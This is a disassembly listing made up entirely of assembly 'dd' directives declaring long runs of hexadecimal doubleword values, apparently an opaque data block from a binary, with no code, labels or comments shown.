		dd 0DE28FDD6h, 0EB1D27C9h, 0CF449042h, 0FA2D2B3h, 1AF2AFF3h
		dd 802C213h, 0CAE943E9h, 852630ADh, 72895780h, 5FFD26F7h
		dd 419612E2h, 59EF8848h, 0DED36C51h, 0F114FE9Fh, 0F35227FDh
		dd 0B855142Ch, 1AD8CACBh, 628FBE05h, 17800A01h,	2FCE1E83h
		dd 10F0292Bh, 0F7580880h, 3FB3D659h, 923478B8h,	22AE2673h
		dd 0F946D965h, 928EC595h, 0B599C147h, 93AA7099h, 38452C39h
		dd 4D01DE7h, 5A707839h,	0E9FEE87Dh, 22D7262Dh, 55DCCA71h
		dd 76688F90h, 0DC886F4Fh, 305D5E5Eh, 1516823h, 0E11610AAh
		dd 8B2A6F90h, 0D0ECB090h, 125ED849h, 8BBC332Eh,	945F5FF2h
		dd 0B1391FCh, 0D310AFF8h, 0CF12E42Dh, 38A1EBEAh, 0FFA7A604h
		dd 8089E912h, 7B3968E4h, 0D9BD57A8h, 5AFB4816h,	68EB9101h
		dd 0F17C7CF8h, 95FE896h, 5A7A415Fh, 9D5B6803h, 5A48280Ch
		dd 0B2A5A4A9h, 18096B4Bh, 172102F3h, 60A7A9E5h,	0B0CDEAF5h
		dd 85F0DDFAh, 5B02ABAh,	0F81A8A91h, 0A1BC9620h,	833A2E2Dh
		dd 0A232235Fh, 0B8100030h, 390533C3h, 87DE0C1h,	4BEBD94Dh
		dd 0F23ABBA5h, 93417620h, 0CF0F6E89h, 1D99115Eh, 0DB30527Bh
		dd 0D947127Ah, 0C6521C75h, 0D876E607h, 0FE44D70Bh, 67A864Fh
		dd 0EFE11F12h, 11E90453h, 687F9808h, 0C664A52Fh, 25597A9Dh
		dd 7AF96319h, 72ADE961h, 15079F39h, 6FAE30E5h, 75FAED92h
		dd 0F4F5F95Fh, 2BDDB12Fh, 0DEC4D094h, 35BB38C5h, 0AD39AF78h
		dd 4C358E2Eh, 84888534h, 9B81E2Ch, 1C40328Fh, 5483701h
		dd 50119695h, 7C0BACA8h, 0A304307Dh, 0AA92EB25h, 822E910Ch
		dd 4903EB04h, 0DA0BCD80h, 0D1EFA2CBh, 683BB8E2h, 1A46951Eh
		dd 6716BE1Eh, 0A57C159Fh, 82B6597Ah, 191A092Bh,	0C14D615Dh
		dd 0ECE3172Eh, 1F05C42Fh, 436289EAh, 433F1005h,	925D97F5h
		dd 0C6FC54C9h, 0A92F9FA6h, 33294B0Fh, 0D1B09FC0h, 86C8FE03h
		dd 7D2F6D0h, 2C013408h,	0CE8F2BD8h, 10B5B992h, 312F8026h
		dd 0B722C660h, 2494BD80h, 89CB20Ah, 8FADDEB9h, 0CB616FC9h
		dd 0E246CB4Ch, 5B0C9144h, 0A3A4672Ch, 55E90A16h, 0A2A77529h
		dd 7FF0A8F6h, 7F896A39h, 0DE01AEC2h, 21C782D6h,	63DFCFC2h
		dd 0D0E7EA9Dh, 0A0C890D7h, 2F6D7578h, 87C04563h, 20F7740Eh
		dd 7309A2CEh, 0D02940AEh, 840882B9h, 3001B6FEh,	30515AD0h
		dd 0F57E80C8h, 95B0C5E6h, 0B80E152Dh, 60EB297Ch, 1A36D85Dh
		dd 0E925213Bh, 97ADF837h, 0E9059B6Fh, 0D543F92Dh, 0CB6E0C63h
		dd 7CB3DD4Dh, 84C4992Eh, 0F859E828h, 0FCEC6443h, 0EAF988FAh
		dd 1033381Fh, 792DCC1Eh, 75A2E2EBh, 133C5771h, 71F7E4F3h
		dd 68505703h, 43902FF1h, 37EBA5E9h, 26C91715h, 0CB1843E3h
		dd 9A776138h, 9180FF9Ch, 683F8858h, 0CF1D490Ch,	0E667C59Dh
		dd 0D624BF6Bh, 86E2F3C4h, 905CB10h, 7E661A04h, 0B5AD733Eh
		dd 0D0B268Dh, 6D5C380h,	0AF77EAh, 4B9321F2h, 0C72C017Ch
		dd 95038CDCh, 1A956166h, 35E25D26h, 0B85EC325h,	555CA0BAh
		dd 799900BDh, 0E581016Ch, 6048748Fh, 0A340104Fh, 511BBE03h
		dd 0D4D23B0Bh, 7C89D849h, 12E9B02Eh, 0BAC8B731h, 662420A8h
		dd 617E627h, 0E77B6AD0h, 82FE4EF0h, 680183C1h, 0DA336B7Dh
		dd 8B448C4Eh, 0A7B2CD4Bh, 29EA2578h, 832AEA0h, 9AB83F28h
		dd 0CB4A5EFAh, 0C70390A4h, 0F711196Ch, 0FE4FE556h, 2CF06B52h
		dd 4F3BF4A9h, 9FF2B477h, 0EFB92460h, 98BE0813h,	0CDD74805h
		dd 0C820841h, 30441D05h, 0C92088E4h, 0BF2C2CE5h, 0BBAF0804h
		dd 2C8850Bh, 0DF17A37Ch, 0E9606312h, 481C124Dh,	8749430Eh
		dd 0A6C643FBh, 0EDB403B0h, 48E9F1B7h, 0FC289D51h, 44001A1Eh
		dd 28316852h, 975A4C22h, 49E0679Bh, 6627F139h, 771FF259h
		dd 509B16ADh, 4CD51AE9h, 0F4F1A4F7h, 25FD3B8h, 15BF68CBh
		dd 8D888F59h, 845D13DCh, 7003BFE0h, 0FA7CCE1Ch,	684D687Dh
		dd 4C5724A3h, 0D7AC3CD5h, 9A0242EFh, 5C646056h,	0E34763A0h
		dd 3C0BAF40h, 4064AF2h,	0ABE5C174h, 34D6CA42h, 0C1B48E3Dh
		dd 4B3FAE29h, 55BD062Eh, 6D255C51h, 0AE1FA0A3h,	0E2C7D66h
		dd 81E7D147h, 6D6BBB41h, 0B2D4401Eh, 307F9929h,	67092CB8h
		dd 0A0632E03h, 7631C6A7h, 0E9AC132Fh, 5C3E49EBh, 27AC454h
		dd 5C9B22A1h, 9164C28Ch, 39476800h, 972AE105h, 539EE5CCh
		dd 0B28A44FAh, 9D8CFA9Ah, 8AA44C0Eh, 0B50ECD8h,	514D192Dh
		dd 94E906F7h, 550299DEh, 272EC068h, 0EC0F8531h,	1F2F9E4h
		dd 772630E0h, 405AD189h, 0A78F19D6h, 0AB173BF7h, 0D71630F9h
		dd 3F43B353h, 4D3D167Dh, 0E4B0A6A8h, 0B13B447h,	6E08F709h
		dd 8C4D266Ch, 0EEDF264Ah, 165BDEFCh, 604D66E4h,	3FEF979Fh
		dd 5E5433F9h, 0BA0052F3h, 8C61B15h, 62038EB9h, 0A6A05A94h
		dd 0C4868E9Ah, 0FE041171h, 0DBEF80CFh, 0F4485CFCh, 9CCF484h
		dd 0AA50C85Dh, 68929FD9h, 7F241A77h, 31828909h,	40FC3DCh
		dd 40AA69C4h, 321FAFF8h, 32923151h, 344731A1h, 0BECC1D9h
		dd 75FD524Bh, 95C8FFB4h, 85866936h, 5E1380D5h, 95443A08h
		dd 0A8CDB143h, 0F1BD87ABh, 0D82D6933h, 2630CCF5h, 20C674Ah
		dd 619B2366h, 4E1891DFh, 80BFA13Fh, 0E7868952h,	12E105B7h
		dd 0F7D885Fh, 69E5BB6Ch, 80FBA163h, 0E220EF46h,	65D82941h
		dd 0A05185Bh, 3A182D0Ah, 523F23D1h, 10B5B6CDh, 1FDE7F13h
		dd 0C094ACD5h, 7CA2C4Ch, 2D4DECBDh, 2389D5E9h, 66161AE5h
		dd 58021B88h, 68A0D669h, 9BB71234h, 0FC599FD8h,	0C9A4505Eh
		dd 7679EAB5h, 0EFEB03A3h, 50B73EFEh, 7450121h, 25FACBE6h
		dd 42C5C92h, 0D3135DF5h, 3E224C34h, 0BBB24051h,	16BE001Ah
		dd 6EE1B95Dh, 313C4CB5h, 774B5CE9h, 48DB460Ah, 0AE02BC49h
		dd 5F138012h, 89AA9090h, 0DC6E5B3Ch, 0C58731EDh, 629718B5h
		dd 0D25EB921h, 0A0B5C621h, 119F6800h, 0F160AD94h, 0B02A1816h
		dd 0B35D4C01h, 400C0130h, 2481575h, 618C09F5h, 795C02A5h
		dd 97BD94DEh, 5E256851h, 5DEA620Fh, 55697D74h, 6B51C019h
		dd 0FDEFE640h, 0F6261980h, 0E8C44B9Bh, 0F7DEB7E2h, 62BAD3C4h
		dd 0A36859FFh, 85B56AE9h, 4052BE7Fh, 0A5E408EBh, 0D6B00D2Ch
		dd 4BAA0537h, 824A857Dh, 800077FEh, 456825CAh, 0E7443A4Bh
		dd 880BE8F0h, 287AF9E1h, 19B212A5h, 5CEAA4A0h, 88019BDEh
		dd 97E9D328h, 964E2C6Bh, 0CFBEC00h, 0B7493B30h,	0A7FE9D49h
		dd 5D58D013h, 0AC58B37Bh
		dd 20685DF0h, 2B30224Eh, 0BFA5A8Bh, 0A6CA8111h,	0E934BC00h
		dd 0E89770D7h, 8025D585h, 0F13F2858h, 7EBEA580h, 0D790C288h
		dd 3A6D98DDh, 10999DBBh, 9F45F69Ch, 0B90BFD28h,	80097429h
		dd 0EC34A324h, 8EE6C156h, 0F065DC58h, 7412ABE1h, 59012687h
		dd 6AAE4018h, 2572F884h, 0F14AC0FBh, 5C330BDCh,	806E1824h
		dd 33099F1Bh, 5E5A59CBh, 6C390CF9h, 4B0B7B8Ah, 7032E9B9h
		dd 7574A23Ah, 0CA9DA816h, 8A66022h, 273ABD94h, 0F96A08DFh
		dd 1922BA80h, 60BE30B8h, 0D6310B26h, 0D7BE76E9h, 0AA375127h
		dd 0C18511A4h, 55AA1192h, 91EEE45Ah, 8389A75Fh,	942145E0h
		dd 64408352h, 9A112DD6h, 0CF0FA743h, 53EB1ABCh,	10E22C8Fh
		dd 455618B7h, 74C12592h, 0D3C02CB2h, 0F8EBE05Ah, 0C80B229h
		dd 0D0F6C786h, 0FA278808h, 4CCFC5Bh, 0A1C220A3h, 4A9D041h
		dd 0ECA1864Eh, 9DE4D0D2h, 0B1FDE042h, 25283B86h, 9F666718h
		dd 9B17AEF5h, 4D1227ABh, 54ECF384h, 686656C0h, 25E95CA9h
		dd 0EBBDE057h, 83102B69h, 487F8FDBh, 50056636h,	834E2668h
		dd 0D4C4C33h, 761D2084h, 0E08D2F5Fh, 0F32DD622h, 8FFA812Eh
		dd 0E540D889h, 0B0A6EBAh, 1428E944h, 3F6809A2h,	0C0251BD5h
		dd 0B580E63h, 0A20E97Bh, 0ABC5C57Ch, 0A74A08A8h, 0EFE909B2h
		dd 52D4A619h, 2CB5949Ah, 125D1297h, 8B7F092Dh, 0C4897171h
		dd 0CC0FA8F8h, 0F81FEF0Ah, 0E509ED9Eh, 0E6B40243h, 0BAA40EC4h
		dd 0FB3D9065h, 939750Fh, 42F58BBDh, 17D47825h, 4D9C581h
		dd 0BA4D3A0Bh, 0F587BC01h, 8C40C683h, 0B93C2268h, 42D4ACA1h
		dd 0F70ECD12h, 0B9F84304h, 0A74B0F12h, 0FF7C99E5h, 0F508E525h
		dd 2ED92CD7h, 8A195A44h, 0E5E9F129h, 15902EB7h,	0BF351D23h
		dd 415B8691h, 7B6C4C96h, 0BA965879h, 5834BA40h,	955AE688h
		dd 0ACB13DCEh, 39EAEA92h, 44E62BFEh, 0D32BB84Bh, 0FCAC4921h
		dd 0B60F9384h, 0CD558102h, 0D4216A43h, 0AB0564F3h, 296EC59Dh
		dd 253129D6h, 216883DDh, 0EF40B9C8h, 2DD9E32Bh,	0A54BD1A9h
		dd 8949E159h, 0C9187E20h, 0E5ACE679h, 7F0EE942h, 0BF601112h
		dd 801CAEB4h, 0CCC357F4h, 0E7ECC0DDh, 2A04729Eh, 0F1ECAB1Dh
		dd 0AD4454CFh, 0C7E188FEh, 3F2A4A02h, 0DC7D2B68h, 0E00953EBh
		dd 10C5B6E9h, 2D01C6D4h, 0EE895591h, 3504BAD6h,	91AC4826h
		dd 5D1FFF3Ch, 0E4CB4158h, 83369F10h, 280CE20Ch,	0FB320475h
		dd 0FE0D61F6h, 4AF2784h, 16A3721h, 88ECC380h, 14111AA4h
		dd 0BDE9CCEh, 3B198C94h, 2064F17Fh, 5E80E561h, 0EEF0955Dh
		dd 0D16E9F16h, 0BFEB1600h, 0BD7EE03Ah, 0A1E973E0h, 0EF45A060h
		dd 9E67473h, 5ECE6828h,	0E7DC1877h, 307E8283h, 90359402h
		dd 85F2C00Dh, 0D25C80AEh, 2D925295h, 6C5363DCh,	75306885h
		dd 0BD6D64EAh, 0F8A88BD2h, 97C4F68Ah, 0E9E2C6F3h, 95EED8BFh
		dd 0E90A5EC7h, 74A5D3B0h, 0E889162Dh, 0FBCB5D6h, 61977A4Dh
		dd 7F79656Ch, 0EC81D375h, 0FF6378E2h, 4E27BB02h, 0A455145Dh
		dd 0A80E339h, 14837252h, 0BD4301C3h, 0B26840Dh,	46C8EB20h
		dd 9960D31h, 417C0501h,	103B3366h, 0EC4B07D8h, 0B9839F26h
		dd 0E5503BC9h, 0C870BE83h, 0FA6F2905h, 3F2DFE40h, 0B44EC004h
		dd 99D1CF4h, 63A45921h,	0C294C331h, 0D4A008D1h,	5EB4CD81h
		dd 23DDE5Ch, 0F457EFEDh, 5A8A4050h, 674C2631h, 0C5BC33B0h
		dd 0F9232AF0h, 5B00294Ah, 61069CCAh, 0FE2FE21h,	1C153FB4h
		dd 7362F28Fh, 237D68A9h, 0C2177918h, 1C08DD0Fh,	597C2507h
		dd 1E7F658h, 0F736E427h, 2FE6C1DEh, 59F9640Bh, 0B258965Dh
		dd 62A2105Bh, 5FF82100h, 0D90AD535h, 0BCB1135Bh, 0E30F233Ah
		dd 928E9BA2h, 0E14FD076h, 2D306283h, 56C12237h,	0E96008A1h
		dd 52008FA3h, 6F43ABBAh, 0D7292E1Ch, 1EDC148Ch,	2139F04h
		dd 7E26C21Eh, 788C2B79h, 0AE5276Bh, 2CEE371Fh, 48DC0FAAh
		dd 0EB017B42h, 0AEF26640h, 0EEC58980h, 4780BF7Fh, 112DD029h
		dd 3D692117h, 0C7E64604h, 1FB33C8Ch, 0CD92083h,	0FE18677Eh
		dd 7604C66Bh, 4923161h,	7D580282h, 0A42CC84Ch, 4CC0EC5Eh
		dd 2D4E1B43h, 88D44431h, 5692E9E2h, 0B95F0086h,	32478ADDh
		dd 10E817Ch, 0A431552Ch, 0CDBF87E1h, 677B411Bh,	0B8A4C361h
		dd 0E908400Ch, 3688366Eh, 0E9B879A8h, 69C41F4Fh, 782D22ECh
		dd 1E143C93h, 91E02C0h,	5455699Ah, 0BC031719h, 70074FE8h
		dd 0C6035DDAh, 818FEFD1h, 2E2D6DFCh, 6A243683h,	28030EC3h
		dd 0CA73F8F3h, 0BCE9A189h, 4DE02Ch, 815585h, 6A57B0EFh
		dd 0E970591Fh, 5240644Ah, 719249F8h, 32DF7DF7h,	541AE29Eh
		dd 0B85855F4h, 994B0717h, 0F105406Eh, 309166B4h, 58808AAAh
		dd 0B1F29D5Dh, 48969720h, 0D02E4C57h, 3490EB21h, 14A7F68h
		dd 158BBA6h, 8463BB05h,	786EA041h, 0E975370Bh, 89A9C8DEh
		dd 0FE67B8E1h, 79E6272Dh, 57357660h, 52BB641Dh,	317BD281h
		dd 320514Dh, 3CD02C20h,	449E1087h, 2CB6A799h, 0F2CE7E25h
		dd 0BA61C9FEh, 43F0E6CFh, 23810405h, 8401341Ch,	0E907047Dh
		dd 177CA29Ch, 51B42642h, 0F65B4ADFh, 0F042D299h, 0CC434668h
		dd 1E1C3567h, 1ED8AB10h, 0E2F64FCDh, 7CFE2040h,	0B1BD5FACh
		dd 998E3FE4h, 4FBA4250h, 0D205ED11h, 964017A8h,	0FA1413E0h
		dd 0B416015Ch, 9A6D0737h, 54626F34h, 0DBEE959Fh, 4F8EFC70h
		dd 4B35A4B8h, 0B0E6C214h, 0CFA45BDCh, 26149801h, 494FCD24h
		dd 3C5EB2CAh, 35824B3Bh, 4BCB50EDh, 0CB5AA251h,	7A2F84D7h
		dd 823317D3h, 0F4B743CBh, 39F58E1Fh, 0BEDDED67h, 0BA4A305Eh
		dd 0F36017FAh, 28ECA52h, 3AEF983Eh, 259833C2h, 0A9D30C36h
		dd 975DB25h, 27E29ED4h,	687B2C8Bh, 4B7856EBh, 3408DCFBh
		dd 628239BEh, 8976F46Ch, 5304695Dh, 0A0F6B22Bh,	5472685Ch
		dd 4026B708h, 4C9FB882h, 471D0EC4h, 14DE297Eh, 0E91308EAh
		dd 2DF680D2h, 0B72C4DF5h, 50586160h, 0B4F49E9h,	5609053Ah
		dd 0FD56232Eh, 9852CF17h, 4594A7E4h, 0B1DF886Ch, 0D5B0095h
		dd 661D5922h, 18A87498h, 0E3E0E2B4h, 0A49A2AF2h, 0D7D5F628h
		dd 0ED0E9B78h, 4DC53006h, 0C66008E8h, 0C766BD21h, 779E6BF2h
		dd 0F0FB5025h, 0AC864A1Bh, 6177C1A9h, 0B4426B73h, 0EA080071h
		dd 0F95A6859h, 629B4C91h, 5E4AC204h, 16463AD7h,	57CB8A88h
		dd 7E888731h, 0A8022714h, 461C2568h, 7A801D32h,	643A4925h
		dd 0FF093BB8h, 7C6F107Ch, 0ADEA08EDh, 623CBB81h, 422E5C65h
		dd 0DE95B21h, 0C3F91BD5h, 288B7E76h, 20C25729h,	0B30F9E53h
		dd 24EBD0D8h, 35BBCCE7h, 0A426F4EFh, 244A815Ah,	7CA88660h
		dd 784BD8A0h, 823BB124h, 932D68E9h, 142FD2AAh, 0B64BF653h
		dd 0A8FC103h, 2FB43B01h, 258C406h, 0E0F1E90Bh, 5F261EDFh
		dd 807E0028h, 5B6801C5h, 0C005434Ch, 886DB450h,	51580EE3h
		dd 0EB09D0B5h, 60CC8383h, 5C8A301h, 70AB6DC5h, 84EE367Fh
		dd 4C6E9A0Ch, 2DE99427h, 0B6B8E1Ah, 26F8D8BAh, 2753523Fh
		dd 0B6A684ABh, 0A07EE5C2h, 17DB89Dh, 3A3D5871h,	0D0F70706h
		dd 1EE49435h, 0B664F8EBh, 831F1169h, 0A05A8366h, 5EB4E914h
		dd 4F13CA21h, 0E9C3DBA6h, 785B730Eh, 0ABB4C6BCh, 0D92C9F29h
		dd 103E6421h, 277C8324h, 6B1190B9h, 47D1974Ch, 0DF82335Ch
		dd 0F8E7C40Dh, 37E913B8h, 0F791A808h, 9867C6F6h, 12A10598h
		dd 0EA5A0F4Bh, 0B84BA38Ah, 5D2884ACh, 0E52DFF14h, 0C69A65E3h
		dd 0C4DC6042h, 65DA85BBh, 0D7F5279Ch, 0E45E5F9h, 5D68D2AFh
		dd 54B657Fh, 0BB51535Ch
		dd 5822A082h, 344EBFB7h, 360AEAB6h, 0D42D5DDDh,	85D9764h
		dd 5516B4A0h, 0DFEAFEF1h, 0DDB80843h, 0A970BE56h, 0D1652D0Bh
		dd 0A1840FEEh, 12D3E94Eh, 5D97AA04h, 0A10D3036h, 0C4E4D455h
		dd 0B7287FA2h, 0D917A8E1h, 0D6EBEDCBh, 61930556h, 0FC4161B1h
		dd 0B26B5FFEh, 68D3C941h, 82F6C51Eh, 3DAB16E0h,	577109FCh
		dd 179EBF04h, 0C9AF340Fh, 0B23A96h, 4B28C421h, 0E8291580h
		dd 355F5D01h, 678615A5h, 49121822h, 897DB87Fh, 82FDE551h
		dd 58014318h, 92A8C5DDh, 3F00FEF7h, 4FE06BD3h, 0F0C24E21h
		dd 0C34E4398h, 87C9E340h, 0BF29101Dh, 0B952DECh, 0B52F0446h
		dd 5C4E0016h, 8135F114h, 94EE75E6h, 45E92809h, 3DCA7B1Eh
		dd 70B717A0h, 68AFB6C1h, 4F2E0C97h, 0F39EFD86h,	68415E21h
		dd 307E1E2Bh, 817A03CDh, 0C79E5E51h, 904B3B0h, 9F87E95Eh
		dd 0E3328F42h, 0D8F3CA3Bh, 0EEB12736h, 0E17C26F2h, 0F10EB62Fh
		dd 3AD54BD3h, 0D40AA9FAh, 4E42F2F3h, 14B762F8h,	75949710h
		dd 0B352D05h, 31800DF1h, 618309EAh, 0E5F5C76h, 99B360A7h
		dd 7986A256h, 0C4C8BD2Dh, 0B2D5CFFh, 0F8D01F9Eh, 38CEFBA7h
		dd 93BFFF9Eh, 0D2ED01BFh, 25D5442Eh, 81080EDCh,	8226344Ah
		dd 5860AEDEh, 5082DB67h, 808D7FFAh, 4C8B1C2Ah, 0F05ABAE2h
		dd 740A08BBh, 0F2FAE918h, 56A68BA7h, 13484B11h,	0BE96D0E2h
		dd 0A162D069h, 6EFDEEBCh, 833C8635h, 2655AB07h,	0D96DC72Ah
		dd 7B258AC6h, 6C2FCCA9h, 94C05928h, 1AB2A3F0h, 0A15FC89Fh
		dd 0FA2F756Eh, 5BB9C57h, 8C13BE68h, 0EE9E5261h,	2C42C752h
		dd 6BF427DEh, 0A55A8942h, 94C2F2C8h, 4F29DEA2h,	2980B3E5h
		dd 0C73DECC8h, 0A4EA17C0h, 4A985359h, 4BA1329h,	0FCFD4478h
		dd 6070E61Bh, 0BB9E9A5h, 38009D4Eh, 0C153FBFh, 5FE8E926h
		dd 415D8ABEh, 0F616ADC5h, 5221707Ah, 0B6F084A6h, 2FEE7C17h
		dd 0A050731Ch, 0A751EC62h, 5665B0D7h, 88B39F23h, 0A78C0CCh
		dd 407C4C18h, 2BE9FE0Ch, 772938E1h, 479FEBF5h, 2648F968h
		dd 0D32056CFh, 0E939D449h, 0FB7B9D25h, 4D183D52h, 0D1F1DD98h
		dd 0A437390Bh, 0E929902Dh, 177F91CBh, 7BE7BDC2h, 1DC34B5Dh
		dd 6CD21A2Ch, 0A8511D4Ch, 0F1272802h, 0B0360A6h, 6FE9F929h
		dd 29A8CE4Eh, 0C4BB2D80h, 895A010Fh, 78EAF600h,	9F315175h
		dd 88265DAh, 0A295FD96h, 5678B019h, 685960A9h, 11BC79CFh
		dd 0B40A4072h, 64F2D1Fh, 3828FCC0h, 9031AB2Ch, 0E713BD00h
		dd 0E99BE927h, 0F2924328h, 53502534h, 92E9C141h, 0B0C96EA3h
		dd 0BD9E34E0h, 22270845h, 3DEA41Dh, 0DAEA2505h,	738AA540h
		dd 0C645491h, 9633404h,	20735266h, 0F7247252h, 9B09C9D2h
		dd 13790F7Ah, 0DCF50E82h, 0B1A262EEh, 46217DCh,	60A25C67h
		dd 3D653C54h, 0B50BE32h, 899E4031h, 0CF6881AAh,	0C424FCA4h
		dd 5800772Eh, 0C3FEEBD0h, 7A54F2F5h, 0BB95B12h,	5A40BE89h
		dd 6D1209BFh, 0A801692Ch, 7AE4006h, 928E897Fh, 6D185F11h
		dd 0BD78FC38h, 5AF81594h, 0B321E04Bh, 0C5CC68EDh, 7B884C4Ah
		dd 5F7E610h, 205F895Dh,	77CF32E2h, 7EE9F592h, 57D65EC2h
		dd 30DCC189h, 9F5F6958h, 68026BE4h, 176D1ECDh, 0C5805058h
		dd 520206h, 1D7479C4h, 0E202BA6Fh, 31612B46h, 2D5F6EAh
		dd 65410D78h, 42F13A40h, 13B6384Ch, 7AECE6B8h, 0EAA02E5h
		dd 6DD6D6Ch, 5A0D0AABh,	4838A229h, 0DB9B1025h, 14F75619h
		dd 0F0D6D15Eh, 0A79A695Fh, 83E3DCF9h, 0FDEC1297h, 50AF8188h
		dd 5CFAA62Ch, 712D76B4h, 0B0D86555h, 0F41280A0h, 2E0D5188h
		dd 0BA707F65h, 0A2644840h, 0C00C0DD4h, 0F39003E3h, 4AE65D82h
		dd 609EC0C5h, 0C0BE4564h, 0F5B652B8h, 39B492D2h, 67A30FF7h
		dd 76901F8h, 6259B641h,	834B1565h, 54508425h, 2DA68CBEh
		dd 0A5D47395h, 566951D9h, 6468857Fh, 0D6AFD829h, 3B6E3F13h
		dd 51C68F8h, 0D77D9F40h, 111809D7h, 858B70EBh, 16DDD482h
		dd 5DE2D30h, 358844F1h,	416805D6h, 56375F73h, 0F57A2050h
		dd 309631Eh, 4EF2977h, 0EEF96Fh, 0C25830B9h, 0CE130176h
		dd 164C0DE9h, 97D77A5Bh, 295A9540h, 5953CB12h, 0E67F9AA9h
		dd 40D84EB0h, 0E22DCDCBh, 0DA483116h, 5C5084F3h, 0F7E65909h
		dd 0D344D24Ah, 0B90956B1h, 298B42F6h, 712E06CDh, 0BD0FE2D1h
		dd 9AF914B3h, 1FA669E7h, 51A43A84h, 7135D800h, 58D318B9h
		dd 0E9090D29h, 92F9681Eh, 8757278Ah, 609E380h, 984B6E35h
		dd 5ECD40BFh, 0A0A1519Eh, 21DCD10Ah, 225D2894h,	92F19554h
		dd 945FA73Ch, 20E91679h, 5BD47795h, 1F4075B2h, 0AE93E036h
		dd 2F59E50Ah, 0FC235E93h, 27197F22h, 2AC5F021h,	605AE99Fh
		dd 0D7ED64Dh, 1781B5F1h, 0D9034BDCh, 0B1F5B7Ah,	0EFA86167h
		dd 0CA41DCB0h, 5BCCB948h, 2D8F4F1Ch, 7B6546C0h,	454AC368h
		dd 40AAFC34h, 6F72D5Bh,	0D09D72B6h, 7A662006h, 0F08C70B7h
		dd 9DDB670Ch, 0BC9FF2E7h, 0F376B957h, 1675173Bh, 0D2F3E7F1h
		dd 31A1E5B8h, 0A4C22CC3h, 46B0BEF8h, 511AAE0Bh,	0DD0B72BAh
		dd 6867B083h, 95E6A53Ah, 3F757ECAh, 33E20757h, 21B5F7Bh
		dd 0E82F1BBh, 2B65C509h, 2056F82Fh, 0F64B555Eh,	0C035B2B4h
		dd 1C62D13h, 8B3E170Eh,	0E1F72508h, 0BDD94055h,	4EC0C654h
		dd 0F4EA2822h, 509917h,	414986EDh, 5DF821D0h, 640B2FCh
		dd 7B7D0025h, 903564FDh, 419D980Ch, 0E06A5883h,	310413C8h
		dd 60E96886h, 8851CF90h, 957CF0C5h, 56B9F0Fh, 0FEBDE876h
		dd 81B7AC48h, 8B94856h,	0E6C3407Bh, 1ED23F27h, 7DAAE913h
		dd 57211C49h, 7DC57492h, 5F4362h, 0F281DAF7h, 0D803A80Eh
		dd 0A5E2CF2Eh, 5F802768h, 24BFE5C2h, 1B2BEFF9h,	0EEA44210h
		dd 548E72C1h, 0A4015703h, 1AB47669h, 6731C789h,	3291E5A0h
		dd 5429CDBDh, 87B7A2F5h, 8E010659h, 48EA40D3h, 7AAD81BFh
		dd 442934C8h, 0CE238210h, 2C7DE0Bh, 0F7F6DFFBh,	6961A86Ah
		dd 5EBB2CF1h, 0C3B2E2B8h, 0DB1A4955h, 2E51069Ch, 7564087Eh
		dd 0DF3870Bh, 0F43008BFh, 3D8B0999h, 0ABAB290Bh, 0F36B06F1h
		dd 0C8390B0Ch, 44CF93D4h, 98BA14B7h, 174F8C4Ah,	5628A7E6h
		dd 3A9D6EADh, 0FD53E4A5h, 0F5F32C9Ch, 5F5EF240h, 0C2C6039h
		dd 16270A54h, 7182426Bh, 0A6651CC7h, 6CA24941h,	4A925FADh
		dd 29BA62F7h, 92BEC5BDh, 0E992B405h, 0A3BD624Eh, 7AB10928h
		dd 246598D1h, 5BEC4108h, 6892E1F1h, 4AACC16Ch, 57F474CDh
		dd 1A189501h, 0BCCB53h,	4765F469h, 8CC6E965h, 2094D9B4h
		dd 75980750h, 18504C66h, 14407847h, 72DF801h, 0E911A075h
		dd 31584EF9h, 3A061498h, 0ED9FC6B2h, 7F2602A6h,	46BD551Ch
		dd 10ECD7D4h, 1373B452h, 6CC307Ah, 0A95B83EEh, 8120470Eh
		dd 0E8F9726Fh, 7F77984Fh, 9031745Eh, 8B7A02EFh,	136A4819h
		dd 8990B032h, 14D73D2Ah, 0F3F20160h, 935E0840h,	2822273Bh
		dd 250BE09Ah, 0C0EE02BDh, 0A12C5A5Ah, 9FB214C7h, 0BC808766h
		dd 1D045932h, 2C68AF84h, 6DE90422h, 0B56F45E1h,	0F0B57E05h
		dd 5305B66Fh, 76A41874h, 82B6253Bh, 0C1AF637Dh,	312E7EB5h
		dd 7BC018BDh, 5B3CB2E0h, 5EDE271h, 29231D53h, 85510FBh
		dd 0BDDA5E38h, 581804A3h, 66C260DCh, 0A63500B2h, 2813D427h
		dd 63EB0568h, 79075675h, 310BE8C1h, 0A4AC364Fh,	9AF1B1h
		dd 1DD1F749h, 5BF98741h, 0FECE09D7h, 32B5530Bh,	0A287598Bh
		dd 1C844B81h, 4C5210F4h, 0A62C77E1h, 0E28E2ABDh, 77EA6688h
		dd 9857660Ch, 0E2BD2B97h
		dd 0A8357C8Bh, 887227D6h, 0ACE04F19h, 0DA03FC2Dh, 0DB6F1C4Fh
		dd 4789F4F4h, 69C26130h, 0CADE1051h, 0E0905051h, 96B82954h
		dd 5855C925h, 0E538DE71h, 0B95FC65Ch, 192B049h,	9517E12h
		dd 0E11EF4F5h, 0E13C6205h, 5DA72ADDh, 0C024B94Ah, 2D966851h
		dd 0E05B4E57h, 49167CD3h, 13BB4A8Eh, 0E52FC69h,	0C056A53Fh
		dd 67AA8FF7h, 4F4090F3h, 1627A65Fh, 0F440DA60h,	0B55166D0h
		dd 9A18F60Bh, 576459C8h, 828B372Ah, 5B5274B2h, 7A8C0C5Bh
		dd 0A37A567Dh, 2D561425h, 4E16E9F8h, 7B54B7BBh,	0D1E7362Dh
		dd 0C6EA5B8Fh, 175496DFh, 3789E3E9h, 72B983CFh,	44CACD0Eh
		dd 654EEF58h, 0AAFD0986h, 1A06809h, 6F091646h, 75FCB03h
		dd 8E93C477h, 4CE1B04Eh, 47913062h, 29354A18h, 104A0558h
		dd 0B24BE471h, 0A5CBDFE7h, 8BB3D5A1h, 7AF544D1h, 0A8F80534h
		dd 0E545D3DFh, 47603EA6h, 1274069Ch, 64EB2966h,	70A1F856h
		dd 1E156812h, 805896B4h, 0CB0ABE56h, 9B32B772h,	488D3902h
		dd 0BE4178CDh, 0C5E98541h, 5DE230BAh, 6962AC68h, 0CB6FB4Dh
		dd 0F44475BAh, 9D63FAE1h, 5EF1A28h, 0FFE8664Ch,	411ECB14h
		dd 0F2C7E08h, 9DBB4EB8h, 6ADAEC73h, 0ED093D9Ah,	7ABA5203h
		dd 22D0BA50h, 0E0778D9Fh, 6853D161h, 5B884B3Fh,	5C13C43Ah
